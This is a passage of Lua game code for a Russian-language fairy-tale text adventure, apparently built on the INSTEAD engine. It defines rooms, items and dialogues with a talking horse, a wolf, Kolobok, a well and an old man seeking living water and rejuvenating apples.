сохнет.]] voronaonmost = true drop('vorona', 'bridge') return end return false; end; } obj { nam = 'podmost'; act = [[Возьми ворону.]]; used = function (n, z) if z^'vorona' then p [[Положил под мост, пусть ворона мокнет.]] voronaonmost = false drop('vorona', 'bridge') return end return false; end; } obj { nam = 'kto'; act = [[Интересно, кто его построил?]]; used = function (n, z) if z^'vorona' then p [[Положил на мост, пусть ворона сохнет.]] voronaonmost = true drop('vorona', 'bridge') return end return false; end; } obj { nam = 'takreka'; act = [[Под мостом также река.]]; } obj { nam = 'apples'; disp = fmt.img('gfx/inv/apples.png')..'Яблоки'; inv = function() place 'eatplease'; pleaseeat = true; end; } obj { nam = 'eatplease'; dsc = function() if pleaseeat and not updatescene then p 'Вкусные, сочные яблоки. Может, {съесть} их? Или, может, лучше подождать? Ты вспомнил слова деревьев, о том, что яблоки с секретом... Что они сделают с тобой на этот раз?' pleaseeat = false end if pleaseeat and updatescene then p 'Вкусные, сочные яблоки. Тебе не терпится {съесть} их.' pleaseeat = false end end; act = function(s) p [[Ты с аппетитом съел яблоки, пока, наконец, чувство голода не прошло. У тебя осталось только одно яблоко.]] remove(s); replace('apples', 'one_apple'); eatenapples = true; if updatescene then walk('longroad6') end; -- это надо для того, чтобы включить переход дальше после того, как съел яблоки -- replace ('apples', 'one_apple'); end } obj { nam = 'one_apple'; disp = fmt.img('gfx/inv/one_apple.png')..'Яблоко'; inv = function() if not updatescene2 then p [[Оставил на будущее.]] end; if updatescene2 then p[[Ты съел последнее своё яблоко... Это почти никак тебя не насытило.]] remove('one_apple') walk('longroad13') end; -- это надо для того, чтобы включить переход дальше после того, как съел яблоко end; } room { nam = 'threeways'; disp = 'Три дороги'; pic = 'gfx/13.png'; decor = [[Три пути. И {tostone|камень} перед ними. Рядом с тобой стоит {horse|конь}! ]]; obj = {'tostone', 'horse', 'enableleft', 'enablecenter', 'enableright'}; way = { path {'#enableleft', 'Налево', 'leftroom'}:disable(), path {'#enablecenter', 'Прямо', 'centerroom'}:disable(), path {'#enableright', 'Направо', 'rightroom'}:disable(), path{'#openbridge', 'К вороне', 'bridge'}:enable() }; enter = function() snd.music 'mus/TheVoyage.ogg' if stoneseen and talkedwithhorse then enable('#enableleft') end if stoneseen and talkedwithhorse then enable('#enablecenter') end if stoneseen and talkedwithhorse then enable('#enableright') end if voronainriver then disable('#openbridge') end if have 'fonarik' then p [[Проходя через мост, ты уронил фонарик... Он выпал из кармана прямо в реку. Какая досада!]]; remove('fonarik'); snd.play('snd/awaterplouffff.ogg', 1) end end } obj { nam = 'enableleft' }; obj { nam = 'enablecenter' }; obj { nam = 'enableright' }; obj { nam = 'tostone'; act = function() walkin ('instone') end; } obj { nam = 'openbridge'; }; obj { nam = 'horse'; act = function() clickmute = true; snd.play('snd/horse.ogg', 1) p [[Конь появился здесь, как только ты переступил через мост. Он молча смотрит на тебя, иногда пощипывая травку.]]; if not talkedwithhorse then p [[{tohorse|Подойти} к нему?]] else p [[Конь ждёт твоего решения. Видно, что он взволнован.]] end; end; }:with {'tohorse'} obj { nam = 'tohorse'; act = function() walkin ('talkwithhorse') end; } dlg { nam = 'talkwithhorse'; pic = 'gfx/17.png'; noinv = true; title = false; enter = function() talkedwithhorse = true; wr = wr + 1; p [[Конь посмотрел на тебя, и... заговорил:^ -- Вот мы и встретились.]] bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы {'Ты умеешь говорить?', '-- Да, как и все сказочные животные.', {'И ты пришел сюда...', '-- Потому, что мне велели. Это закон, и я должен подчиниться. Обычно путники сюда являются на своих конях, но ты же у нас избранный... Дрянная эпоха!', only = true; {'Извини... Мне правда жаль. Меня тоже перенесли из уютной постели в это место... Думаешь, мне сладко? Давай уж как-то выбираться вместе.', function() p'-- Ладно. Так уж и быть. Буду твоим конем, вольно или невольно, какая теперь разница... Но побереги меня. Пригожусь еще тебе, будь уверен!' walk('threeways') end }, {'Мне всё равно. Я должен продолжать путь. Тебе придется, в таком случае, подчиниться. Не дави на жалость.', function() p'-- Зря ты так. Потом же зачтется всё... Подумай хорошо, прежде чем что-то предпринимать. Да и меня побереги - пригожусь...' walk('threeways') end } } } } -- конец фразы } room { nam = 'instone'; noinv = true; disp = 'Возле камня'; pic = 'gfx/13_2.png'; enter = function() deletebutton(); bg_name = 'gfx/bg_good.png' theme.gfx.bg (bg_name) if not stoneseen then wr = wr+1; end; stoneseen = true; nearstone = true; end; decor = fmt.c('^На древнем камне выбито: ^^ Налево пойдёшь – себя потеряешь, коня спасёшь.^ Направо пойдёшь – коня потеряешь, себя спасёшь.^ Прямо пойдёшь – и себя, и коня потеряешь.'); exit = function() nearstone = false; createbutton(); bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) end; way = { path{'Отойти от камня', 'threeways'} }; } room { nam = 'kozel'; pic = 'gfx/14.png'; disp = 'А тебя предупреждали!'; decor = function() p [[Теперь ты козленочек! =) Мааалеенький. ]] if waycounter > 3 then p [[Таак. И что же теперь делать?]] end if waycounter > 5 then p [[Это сказочный мир, верно?]] end if waycounter > 7 then p [[Как у нас дела в сказках решаются?]] end if waycounter > 9 then p [[Сказочными же методами.]] end if waycounter > 11 then p [["А козленочек три раза..."]] end if waycounter > 13 then p [["Перекинулся через голову..."]] end if waycounter > 15 then p [["И обернулся назад человеком!"]] end if waycounter > 17 then p [[Вот, в чем секрет!]] end if waycounter > 19 then p [[Итак. {onering|Один}.]] end if twopress then p [[{tworing|Два}.]] end if threepress then p [[{threering|Три}!]] end end; enter = function() snd.music 'mus/ChasinIt.ogg' isusercozel = true; waycounter = 0; onepress = false; twopress = false; threepress = false; twocheck = false; remove('vedrofull'); take('vedro'); if from() ~= 'info_room' and from() ~= 'control_room' then fromwhere = from(); end; -- чтобы не вовзращаться в технические комнаты end; exit = function() if inroom ( me() ) == 'inhouse' then snd.music 'mus/HouseOfEvil.ogg' else snd.music 'mus/Atlantis.ogg' end isusercozel = false; if twopress and threepress then clickmute = true; snd.play('snd/roundkozel.ogg', 1) end; end; obj = {'onering', 'tworing', 'threering'}; } obj { nam = 'onering'; act = function() twopress = true if not onepress then p [[Ты перевернулся через голову. Это непривычно. Зато подумай - никто из людей не переживал подобное. Хотя козлов много)]] clickmute = true; snd.play('snd/roundkozel.ogg', 1) onepress = true end end; } obj { nam = 'tworing'; act = function() if twopress then threepress = true end if not twocheck and twopress then p [[Ты второй раз сделал кувырок и опустился на свои четыре. Ухх!]] clickmute = true; snd.play('snd/roundkozel.ogg', 1) twocheck = true end end; } obj { nam = 'threering'; act = function() if twopress and threepress then p [[Ура! Ты снова человек. Что это вообще было? Странная водичка. Лучше не пить больше из водоемов, от греха подальше.]] vedrowithwater = false walk ( fromwhere ) end end; } room { nam = 'leftroom'; title = 'Левый поворот'; way = { path{'К перекрестку','threeways'} }; } room { nam = 'centerroom'; title = 'Центр'; way = { path{'К перекрестку','threeways'} }; } room { nam = 'rightroom'; title = 'Правый поворот'; onenter = function (s, f) if f^'threeways' then p 'Конь: ^ -- Ты всё-таки решил пойти направо?! Но ведь я тогда погибну! Давай вместе будем сражаться со злом этих мест, я не подведу тебя! Еще не поздно остановиться! Ты можешь выбрать другой путь.'; end end; pic = 'gfx/16.png'; way = { path{'Дальше','rightroom1'}, path{'К перекрестку','threeways'} }; enter = function() snd.play('snd/gallop.ogg',1); end; } room { nam = 'rightroom1'; title = 'Правый поворот'; onenter = function (s, f) if f^'rightroom' then p 'Конь: ^ -- Там кто-то есть! Мне страшно... Прошу тебя, путник, поверни назад!'; end end; pic = 'gfx/16_0.png'; way = { path{'Дальше','rightroom2'}, path{'Назад','rightroom'} }; enter = function() snd.play('snd/gallop.ogg',1); end; } room { nam = 'rightroom2'; title = 'Правый поворот'; onenter = function (s, f) if f^'rightroom1' then p 'Конь: ^ -- Это, кажется, волк! Он раздерет меня на части! За что мне такая судьба... Если мы приблизимся ещё - убежать уже не получится. Прошу тебя. Пожалуйста, вернись!'; snd.play('snd/horse.ogg', 2) end end; pic = 'gfx/16_1.png'; way = { path{'Дальше','rightroom3'}, path{'Назад','rightroom1'} }; enter = function() snd.play('snd/gallop.ogg',1); end; } room { nam = 'rightroom3'; title = 'Правый поворот'; onenter = function (s, f) if f^'rightroom2' then p 'Конь: ^ -- Это точно волк! Ну всё, мне конец...'; rightwaychoosen = true; rightchoose = rightchoose + 1; -- inc(rightchoose); end end; pic = 'gfx/16_2.png'; way = { path{'Дальше','rightroom4'} }; enter = function() snd.play('snd/gallop.ogg',1); snd.music 'mus/Pentagram.ogg' end; } room { nam = 'rightroom4'; title = 'Правый поворот'; onenter = function (s, f) if f^'rightroom3' then p 'Конь: ^ -- Он всё ближе...'; end end; pic = 'gfx/16_3.png'; way = { path{'Дальше','rightroom5'} }; enter = function() snd.play('snd/gallop.ogg',1); end; } room { nam = 'rightroom5'; title = 'Правый поворот'; onenter = function (s, f) if f^'rightroom4' then p 'Конь: ^ -- Как ты мог?..'; end end; pic = 'gfx/16_4.png'; way = { path{'Дальше','rightroom6'} }; enter = function() snd.play('snd/gallop.ogg',1); end; } room { nam = 'rightroom6'; title = 'Правый поворот'; onenter = function (s, f) if f^'rightroom5' then p 'Конь трясется от страха.'; end end; pic = 'gfx/16_5.png'; enter = function() if not horseleaved then snd.play('snd/gallop.ogg',1) end if horseleaved then enable '#nextstage' end end; decor = function() p[[{towolf|Волк} смотрит прямо на тебя!]]; if afterwolf and not horseleaved then p 'Тебе остается только {leave|слезть} с коня.' end if afterwolf and horseleaved then p 'Конь еле стоит на ногах. Бедняжка...' end end; way = { path {'#nextstage','Дальше...','rightroom7'}:disable() } }:with {'towolf', 'leave', 'nextstage'} obj { nam = 'nextstage'; } obj { nam = 'leave'; act = function() p 'Ты спрыгнул с коня. Тот с укором посмотрел тебе вслед. Этот взгляд ты не забудешь никогда...'; horseleaved = true; rightchoose = rightchoose + 1; walk 'rightroom6' end } obj { nam = 'towolf'; used = function (n, z) if z^'topor' then p [[Ты замахнулся топором на волка, но тот оказался проворнее. Он сбил тебя с ног, и топор вылетел у тебя из руки в неизвестном направлении. Скорее всего, он где-то лежит посреди леса. К сожалению, ты не в той ситуации, чтобы искать его.]] remove('topor') topornavolka = true return end return false; end; act = function() if not afterwolf then walk ('talkwithwolf') else p [[Вам больше нечего сказать друг другу.]] end end; } dlg { nam = 'talkwithwolf'; pic = 'gfx/18.png'; noinv = true; title = false; enter = function() p [[Волк посмотрел на тебя сочувственно, и... заговорил:^ -- Ну что, путник. Слезай с коня.]] bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы {'Почему это?', '-- Ты надпись на камне читал? Читал. Какие могут быть еще вопросы? Конь - мой. А ты ступай себе с миром.', {'Может, как-то договоримся?', '-- Нет. С этим шутки плохи. С моим чувством голода - тоже. Так что отдавай коня. Назад у тебя всё равно пути нет.', only = true; {'Души у тебя нет...', function() p'-- Нет. Не так. Души нет у тебя. Иначе зачем бы шел по этой дороге, если знал, что конь твой погибнет? Себя спасал? То-то же.' afterwolf = true end }, {'Ну и ладно. Как пришло - так и ушло. Главное, что жив остался.', function() p'-- С таким подходом далеко пойдешь...' afterwolf = true end } } } } -- конец фразы } room { nam = 'rightroom7'; title = 'Правый поворот'; onenter = function (s, f) if f^'rightroom6' then snd.music('mus/BeforeDawn.ogg') snd.play('snd/goodbyehorse.ogg',1); p 'Волк съел коня... Но это был твой выбор. Пора двигаться дальше.'; end end; onexit = function() rightchoose = rightchoose + 1; end; pic = 'gfx/16.png'; way = { path{'Дальше','kolodets'} }; } room { nam = 'kolodets'; title = 'Поле'; pic = 'gfx/22.png'; onenter = function (s, f) if f^'polewithkolobok' then snd.music('mus/BeforeDawn.ogg'); end end; obj = {'tokolodets'}; decor = [[Деревья закончились. Вокруг - огромное поле... Ты видишь {tokolodets|колодец}.]]; way = { path{'Дальше', 'polewithkolobok'} }; } obj { nam = 'tokolodets'; act = function() walk ('inkolodets') end; } obj { nam = 'drinkwater'; act = function() if drinkedwaterinkolodets and not waterpoisoned then p [[Ты же лопнешь, деточка!]] end if drinkedwaterinkolodets and waterpoisoned and not specialcase then p [[Ещё глоток этой дряни - и ты не жилец. Не стоит оно того.]] end if drinkedwaterinkolodets and waterpoisoned and specialcase then p [[Ты же лопнешь, деточка!]] end if not drinkedwaterinkolodets and not waterpoisoned then p [[Наконец-то! Ты жадно выпил пол ведра воды. Ну, может меньше. Но показалось, что пол ведра.]] clickmute = true snd.play('snd/drinkwater.ogg', 1) drinkedwaterinkolodets = true end if not drinkedwaterinkolodets and waterpoisoned and not specialcase then p [[Ты закрыл нос рукой. Попытался выпить эту жуткую воду. Тебя чуть не стошнило. Но жажда оказалась сильнее чувства отвращения. И всё же не стоит больше делать подобное. Лекарств у тебя нет...]] clickmute = true snd.play('snd/drinkwater.ogg', 1) drinkedwaterinkolodets = true end if not drinkedwaterinkolodets and waterpoisoned and specialcase then p [[Наконец-то! Ты жадно выпил пол ведра воды. Ну, может меньше. Но показалось, что пол ведра.]] clickmute = true snd.play('snd/drinkwater.ogg', 1) drinkedwaterinkolodets = true end end; used = function(n,z) if z^'topor' then p[[Ударим топором по глаголу?]] end if z^'kuvshin' then p[[Кувшин пуст. Ты должен помочь старику...]] end if z^'kuvshinwithwater' then p[[Ты набрал воды в кувшин, чтобы помочь старику...]] end end; } room { nam = 'inkolodets'; disp = 'Возле колодца'; pic = 'gfx/23.png'; decor = function() p [[Ты видишь {kolodetsitself|колодец}, видишь {vedrowithkolodec|ведро}, которое к нему привязано. ]]; if vedrowithkolodecisfull then p [[Ты можешь {drinkwater|попить} воды из него.]] end end; obj = {'drinkwater', 'vedrowithkolodec', 'kolodetsitself'}; way = { path{'Отойти от колодца', 'kolodets'} }; } obj { nam = 'kolodetsitself'; act = function() if not waterpoisoned then p [[Обычный колодец. Но в твоём случае он - спасение.]] end; if waterpoisoned then p [[Обычный колодец. Только отравленный...]] end; end; used = function (n, z) if z^'kuvshin' then p[[Ты не можешь достать воду кувшином, она слишком низко, хотя и в зоне видимости. Нужно использовать ведро.]] end if z^'kuvshinwithwater' then p[[Ты вылил воду из кувшина в колодец.]] replace('kuvshinwithwater','kuvshin') end if z^'apples' then p [[Они тебе ещё пригодятся.]] elseif z^'poison_apple' then p [[Ты бросил подозрительное яблоко в колодец. Из глубины ты учуял тухлый, неприятный запах... Ты отравил колодец. Но как? С содорганием ты подумал, что бы случилось, если бы ты это яблоко съел...]] remove('poison_apple'); waterpoisoned = true; end end; } room { nam = 'polewithkolobok'; disp = function() if not eatedkolobok and not kolobokandkuvshin then p 'Колобок' else p 'Дорога' end end; pic = function() if not eatedkolobok and not kolobokandkuvshin then return 'gfx/25.png' else return 'gfx/24.png' end end; decor = function() if not eatedkolobok and not kolobokandkuvshin then p [[Тебе навстречу катится {tokolobok|колобок}! Самый настоящий!]] end end; obj = {'tokolobok', 'stageafter'}; enter = function() if talkedwithkolobok then enable('#stageafter') end if not eatedkolobok and not kolobokandkuvshin then snd.music('mus/TubaWaddle.ogg') end; end; way = { path{'К колодцу', 'kolodets'}, path{'#stageafter', 'Дальше', 'afterkolobok'}:disable() }; } obj { nam = 'stageafter'; } obj { nam = 'tokolobok'; act = function() walk ('inkolobok') end; used = function() p [[Надо подойти поближе.]]; end; } room { nam = 'inkolobok'; disp = 'Возле колобка'; pic = 'gfx/26.png'; decor = [[{gotalk|Колобок} улыбается и приветливо смотрит на тебя!]]; obj = {'gotalk'}; way = { path{'Отойти от колобка', 'polewithkolobok'} }; } dlg { nam = 'talkwithkolobok'; disp = 'Разговор с колобком'; noinv = true; pic = 'gfx/26.png'; enter = function(s) deletebutton(); bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) p (fmt.c ('-- Я Колобок, Колобок, я по коробу скребён, ^По сусеку метён, на сметане мешон ^Да в масле пряжон, на окошке стужон. ^Я от дедушки ушёл, я от бабушки ушёл, ^Я от зайца ушёл, я от волка ушёл, ^От медведя ушёл, от тебя, лисы, ^нехитро уйти!') ) end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- Начало фразы {'Колобок?', '-- Лиса?', {'Нет, я человек!','-- Нет, ты лиса, я же вижу. И ты должна меня съесть.', {' *хм, странно* А если я этого не сделаю?', '-- Тогда я обречен вечно катиться по дорогам и петь песни разным животным, пока или меня не съест кто-нибудь, или пока я не испорчусь. Но так, как я сказочный, а мой образ - вечен - этого никогда не прозойдет... Ты представляешь себе такую жизнь? Без смысла, без цели... Нет, определенно - ешь меня.', only = true; {'Извини, но я не настолько голоден, чтобы подбирать и есть всякое с земли.', function() p '-- А зря...' talkedwithkolobok = true end }, {'Ладно. Тогда прощай. А что мне надо делать? Взять тебя в руки и откусить? Тебе не будет больно?', '-- Смешная ты, лиса. Открой просто рот!', {'Хорошо.', function() p'-- Юхуу!^^ Колобок с разбегу запрыгнул к тебе в рот, он оказался вкусный, и никакого песка или пыли. Ты же в волшебном мире, забыл?) Кто бы ел несъедобное. Но тебе всё равно стало как-то грустно...' talkedwithkolobok = true eatedkolobok = true walk ('polewithkolobok') end }, }, } } } } -- Конец фразы } obj { nam = 'gotalk'; act = function() walkin('talkwithkolobok'); end; used = function(n,z) if z^'topor' then p [[Ты без топора жить не можешь? Ну колобок-то что тебе сделал? Да и не попасть в него топором...]] end; if z^'kuvshin' then p [[И что ты сделаешь колобку пустым кувшином?]] end if z^'kuvshinwithwater' then p [[Ты залил колобка водой из кувшина... Он размяк и растворился.]] kolobokandkuvshin = true replace('kuvshinwithwater', 'kuvshin') walk('polewithkolobok') end end; } room { nam = 'afterkolobok'; disp = 'Дорога'; pic = 'gfx/27.png'; way = { path{'Назад', 'polewithkolobok'}, path{'Дальше', 'starik'} }; } room { nam = 'starik'; disp = 'Старик на пути'; pic = 'gfx/28.png'; enter = function() snd.music('mus/Renaissance.ogg') if not firsttalkwithstarik then enable('#unlockvillage') end if izrubilappletrees then enable('#unlockvillage') end if have('one_apple') then enable('#unlockvillage') end end; decor = [[Перед тобой стоит {tostarik|старик}.]]; obj = {'tostarik', 'unlockvillage'}; way = { path{'Назад', 'afterkolobok'}, path{'#unlockvillage','Дальше','waytovillage'}:disable() }; } obj { nam = 'unlockvillage'; } obj { nam = 'tostarik'; act = function() walk ('instarik') end; used = function() p [[Надо подойти поближе.]]; return end; } room { nam = 'instarik'; disp = 'Возле старика'; pic = 'gfx/29.png'; obj = {'talkwithstarik'}; decor = [[Ты видишь {talkwithstarik|старика}. ]]; way = { path{'Отойти от старика', 'starik'} }; } obj { nam = 'talkwithstarik'; act = function() if firsttalkwithstarik and not haveskatert and not izrubilappletrees and not talkedwithoutskatert and not have('one_apple') then walkin ('starikkonversation') elseif not firsttalkwithstarik and not haveskatert and not izrubilappletrees and not talkedwithoutskatert and not have('one_apple') then walk ('starikkonversation2') elseif izrubilappletrees and not talkedwithoutskatert and not have('one_apple') then walk('starikkonversation3') elseif not talkedwithoutskatert and have('one_apple') then walk('starikkonversation3') end; if haveskatert then p [[Теперь он будет жить долго и счастливо!]] end; if talkedwithoutskatert then p [[Лучше старика не трогать...]] end; end; used = function(n, z) if z^'samobranka' then p [[-- Она твоя. Используй скатерть мудро.]] elseif z^'one_apple' then p [[-- Увы. Одного яблока мало... Молодым я стану, если съем три яблока подряд. Иначе бесполезно.]] elseif z^'kuvshin' then p [[Это пустой кувшин, который я дал тебе. Набери в него живой воды, пожалуйста!]] -- end; elseif z^'apples' and dalwater and not firsttalkwithstarik then p [[-- Спасибо тебе, добрый человек! Взамен я дарю тебе скатерть-самобранку! Пусть она выручает тебя в пути. Только помни - никому не рассказывай о ней! Если проболтаешься - беда будет.]] replace('apples', 'samobranka') haveskatert = true elseif z^'apples' and not dalwater and not firsttalkwithstarik then p [[-- Спасибо тебе, добрый человек! Теперь я молод. Но глаза мои по-прежнему больны... Только живая вода может излечить их и вернуть мне возможность видеть этот мир!]] dalapples = true remove('apples') -- end elseif z^'apples' and firsttalkwithstarik then p [[Ты бы поговорил сначала с человеком...]] elseif z^'kuvshinwithwater' and dalapples then p [[-- Спасибо тебе, добрый человек! Взамен я дарю тебе скатерть-самобранку! Пусть она выручает тебя в пути. Только помни - никому не рассказывай о ней! Если проболтаешься - беда будет.]] replace('kuvshinwithwater', 'samobranka') haveskatert = true elseif z^'kuvshinwithwater' and not dalapples then p [[Старик умыл глаза водой из кувшина. ^^-- Спасибо тебе, добрый человек! Теперь я могу хорошо видеть. Но я ведь по-прежнему стар! Найди молодильные яблоки.]] dalwater = true dalvodu = true remove('kuvshinwithwater') end if z^'topor' then p [[Откуда в тебе эта тяга всё крушить, ломать и убивать? Оставь старика в покое.]] end end; }; dlg { nam = 'starikkonversation'; disp = 'Разговор со стариком'; noinv = true; pic = 'gfx/29.png'; enter = function(s) p [[Приветствую тебя, странник!]]; firsttalkwithstarik = false; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- Начало фразы only = true; {'Привет. Тебя, случаем, не Ричардом зовут?', '-- Нет, а что?', { function() p 'Да так, просто...' firsttalkwithstarik = true; end , '-- ???'} }, {'Привет.', '-- Куда путь держишь?', only = true; {'А ты, значит, не знаешь?! Сейчас все знают, кто я и куда иду...','-- *эх* Нет. Злая колдунья отняла у меня годы жизни... Я стар. И почти слеп. И иду в далекую землю, где, говорят, есть такая вода, которой если умоешься - вмиг прозреешь. И есть такие яблоки, которые растут на особенных деревьях - когда их съешь - враз молодым становишься. Дивно ли, чудно ли, но я ищу всё это. Не для себя. Не только. Для старухи моей. Она побивается от горя, места себе не находит... Помоги мне - я тебе кое-что дам взамен. Это скатерть... ', {'Ээ... Я всё понимаю. Но зачем мне какая-то скатерть?','-- Это не простая скатерть. Это скатерть-самобранка. Когда захочешь поесть - просто раскрой ее - и все яства появятся на ней.', {'И ты мне отдашь ее просто так, за какие-то яблоки и воду?','-- Вот кувшин. Набери в него живой воды и принеси мне. Найди молодильные яблоки. И скатерть твоя.', {'Хорошо, конечно, но... А как ты будешь без скатерти?','-- *старик усмехнулся* А зачем она мне, когда я смогу нормально ходить, нормально видеть, и обрету силу в руках?', {'Ладно, я поищу тебе эти вещи.', function()p '-- Спасибо, добрый человек.' take('kuvshin') kuvshintakedfromstarik = true; end } }, }, }, }, -- конец первого разветвления {'О, а вы не знаете? Меня сейчас все встречные удивляют тем, что всё про меня знают...','-- *эх* Нет. Злая колдунья отняла у меня годы жизни... Я стар. И почти слеп. И иду в далекую землю, где, говорят, есть такая вода, которой если умоешься - вмиг прозреешь. И есть такие яблоки, которые растут на особенных деревьях - когда их съешь - враз молодым становишься. Дивно ли, чудно ли, но я ищу всё это. Не для себя. Не только. Для старухи моей. Она побивается от горя, места себе не находит... Помоги мне - я тебе кое-что дам взамен. Это скатерть...', {'Скатерть? Зачем она мне?','-- Это не простая скатерть. Это скатерть-самобранка. Когда захочешь поесть - просто раскрой ее - и все яства появятся на ней.', {'И вы хотите обменять ее на молодильные яблоки и живую воду?','-- Да, странник. Вот тебе кувшин. Набери в него живой воды и принеси мне. Найди молодильные яблоки. И скатерть твоя.', {'Хорошо, конечно, но... А как же вы сами-то будете без скатерти?','-- *старик усмехнулся* А зачем она мне, когда я смогу нормально ходить, нормально видеть, и обрету силу в руках?', {'Конечно, я поищу эти вещи для вас.', function() p 'Спасибо, добрый человек.' take('kuvshin') kuvshintakedfromstarik = true; end } }, }, }, }, -- конец второго разветвления } } -- Конец фразы } dlg { nam = 'starikkonversation2'; disp = 'Разговор со стариком'; noinv = true; pic = 'gfx/29.png'; enter = function(s) p [[Приветствую тебя, странник!]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы {'Привет!', function() if not dalwater then p'Набрал ли ты живой воды в кувшин, что я дал тебе?' end if not dalapples then p'Нашел ли ты молодильные яблоки?' end end , only = true; {'Да, принёс.', function() if not dalwater and dalapples then p'-- Хорошо, тогда где же она?' end if not dalapples and dalwater then p'-- Хорошо, тогда где же они?' end if not dalwater and not dalapples then p'-- Хорошо, тогда где же они?' end end }, {'Нет, увы.','-- Очень жаль...'}, } } -- конец фразы } dlg { nam = 'starikkonversation3'; disp = 'Разговор со стариком'; noinv = true; pic = 'gfx/29.png'; enter = function(s) p [[Приветствую тебя, странник!]]; bg_name = 'gfx/bg_talk.png' theme.gfx.bg (bg_name) deletebutton(); end; exit = function() bg_name = 'gfx/bg.png' theme.gfx.bg (bg_name) createbutton(); end; phr = { -- начало фразы {'Привет!', 'Помоги мне, добрый человек. Злая колдунья отняла у меня годы жизни... Я стар. И почти слеп. И иду в далекую землю, где, говорят, есть такая вода, которой если умоешься - вмиг прозреешь. И есть такие яблоки, которые растут на особенных деревьях - когда их съешь - враз молодым становишься. Дивно ли, чудно ли, но я ищу всё это. Не для себя. Не только. Для старухи моей. Она побивается от горя, места себе не находит... Помоги мне - а я помогу тебе. Вижу, что голоден ты...', only = true; {'Я бы с радостью. Но нет у меня того, что вы просите. Простите.', function() p'Лицо старика искривилось от горечи, но он тут же взял себя в руки. ^^-- Так уж и быть. Возможно, я ещё встречу того, кто знает, где они.' talkedwithoutskatert = true end }, {'Нет, старик, нет у меня того, что ты хочешь, а даже если бы и было - с чего бы мне делиться?', function() p'Лицо старика исказилось от гнева. ^^-- Не будет тебе покоя, злой человек. Ты пожалеешь, что встретил меня...' talkedwithoutskatert = true end }, } } -- конец фразы } room { nam = 'waytovillage'; pic = 'gfx/30.png'; disp = 'Вид с горы'; decor = function() p [[Если идем дальше - назад пути не будет.]]; if have('kuvshin') and not have('one_apple') then p [[А ведь надо помочь старику!]] end; if have('kuvshinwithwater') and not have('one_apple') then p [[А ведь надо помочь старику! Ты набрал живой воды...]] end; end; way = { path{'Назад','starik'}, path {'Дальше','longroad1'} }; } obj { nam = 'kuvshin'; disp = fmt.img('gfx/inv/kuvshin.png')..'Кувшин'; inv = function() if not nobackway then p[[Кувшин. Сюда я могу набрать живой воды и помочь старику.]] end; if nobackway then p[[Кувшин, который дал мне старик...]] end; end; used = function (n, z) if z^'pivo' and postavpivoje then p [[Может, поставить сначала кувшин на столик?]]; elseif z^'pivo' and not postavpivoje then p [[Ты бы с радостью перелил пиво прямо на весу, но чувствуешь, что так только расплескаешь его по всему трактиру...]]; return end if not z^'pivo' then return false end; end } obj { nam = 'kuvshin2'; disp = fmt.img('gfx/inv/kuvshin2.png')..'Кувшин'; inv = function() p[[Кувшин, который я нашел в дупле дерева.]]; end; used = function (n, z) if z^'pivo' and postavpivoje then p [[Может, поставить сначала кувшин на столик?]]; elseif z^'pivo' and not postavpivoje then p [[Ты бы с радостью перелил пиво прямо на весу, но чувствуешь, что так только расплескаешь его по всему трактиру...]]; return end if not z^'pivo' then return false end; end } obj { nam = 'kuvshinwithwater'; disp = fmt.img('gfx/inv/kuvshinwithwater.png')..'Кувшин'; inv = function() if not nobackway then p[[Кувшин с живой водой.]] end; if nobackway then p[[Живая вода. Надо было принести её старику...]] end; end; } obj { nam = 'vedrowithkolodec'; act = function() if not vedrowithkolodecisfull and not waterpoisoned then p [[Ты медленно и аккуратно спустил ведро в колодец, потом точно так же аккуратно достал его. Вода в ведре сверкает под солнечными лучами и манит тебя.]] specialcase = true elseif not vedrowithkolodecisfull and waterpoisoned then p [[Ты, морщась от запаха, спустил ведро в колодец. Спустя какое-то время достал ведро мутной зеленой воды, которая вызывает отвращение.]] elseif vedrowithkolodecisfull and not drinkedwaterinkolodets and not waterpoisoned then p [[Вода в ведре сверкает под солнечными лучами и манит тебя.]] elseif vedrowithkolodecisfull and not drinkedwaterinkolodets and waterpoisoned and not specialcase then p [[Вода в ведре кажется непригодной к употреблению человеком.]] elseif vedrowithkolodecisfull and not drinkedwaterinkolodets and waterpoisoned and specialcase then p [[Вода в ведре сверкает под солнечными лучами и манит тебя. Хорошо, что ты успел набрать чистой воды до своей выходки...]] elseif vedrowithkolodecisfull and drinkedwaterinkolodets and not waterpoisoned then p [[Вода в ведре сверкает под солнечными лучами.]] elseif vedrowithkolodecisfull and drinkedwaterinkolodets and waterpoisoned and not specialcase then p [[Страшный ты человек. Выпить такое...]] elseif vedrowithkolodecisfull and drinkedwaterinkolodets and waterpoisoned and specialcase then p [[Вода в ведре сверкает под солнечными лучами.]] end if not vedrowithkolodecisfull then snd.play('snd/vedroinkolodec.ogg', 1) end vedrowithkolodecisfull = true; end; used = function(n, z) if z^'kuvshinwithwater' then p [[Кувшин полон.]] end; if z^'topor' then p [[Топором по ведру? А ты интересный...]] end; if z^'kuvshin' and not vedrowithkolodecisfull then p [[Нельзя набрать воды из пустого ведра!]] end; if z^'kuvshin' and vedrowithkolodecisfull and not waterpoisoned then p [[Ты набрал живой воды в кувшин старика.]] replace('kuvshin', 'kuvshinwithwater') end; if z^'kuvshin' and vedrowithkolodecisfull and waterpoisoned and not specialcase then p [[Вода отравлена. В этой игре возможно всё, но отравить старика? Нет уж.]] end; if z^'kuvshin' and vedrowithkolodecisfull and waterpoisoned and specialcase then p [[Ты набрал живой воды в кувшин старика.]] replace('kuvshin', 'kuvshinwithwater') end; if z^'apples' then p [[Это сказочный мир. Не надо их мыть.]] end; end; } obj { nam = 'samobranka'; disp = fmt.img('gfx/inv/skatert.png')..'Скатерть'; inv = function() walk('insamobranka'); end; } room { nam = 'insamobranka'; title = 